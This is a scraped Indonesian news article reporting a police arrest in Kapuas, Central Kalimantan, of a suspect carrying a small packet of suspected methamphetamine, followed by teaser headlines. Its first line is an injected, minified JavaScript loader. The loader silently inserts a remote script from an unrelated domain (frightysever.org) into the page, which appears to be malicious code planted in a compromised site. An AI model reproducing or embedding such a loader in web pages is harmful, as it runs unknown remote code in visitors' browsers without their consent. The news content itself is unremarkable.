(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALAKAPUAS – Satresnarkoba Polres Kapuas mengamankan terduga pelaku tindak pidana narkotika, Minggu (31/5/2020) pukul 14.00 WIB di pelabuhan speedboat.
Kasat Resnarkoba Polres Kapuas, Iptu Suherman menyampaikan, tersangka Eka (27) warga Jalan Safillah RT01 Kelurahan Bahaur Hulu, Kecamatan Kahayan Kuala, Kabupaten Pulangpisau, Kalteng.
“Eka ditangkap di pelabuhan speedboat jurusan Kapuas-Pangkoh bersama beberapa barang bukti berupa sabu,” kata Kasat Resnarkoba.
Saat di geledah, polisi menemukan satu paket plastik klip kecil berisi kristal bening diduga sabu dengan berat bruto 0,21 (nol koma dua satu) gram, di dalam satu buah tas warna merah muda.
Ia menambahkan, setelah ditemukan benda haram itu Eka langsung dibawa ke Mapolres Kapuas guna penyelidikan dan mengembangkan asal narkoba yang dimiliki.
“Masih dikembangkan, dan dia (Eka) sudah ditahan sel tahanan Mapolres Kapuas dan kenakan pasal 114 (1) jo pasal 112 (1) UU RI Nomor 35 tahun 2009 tentang narkotika,” pungkas dia. (kanalkalimantan.com/agus)
KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
This website uses cookies.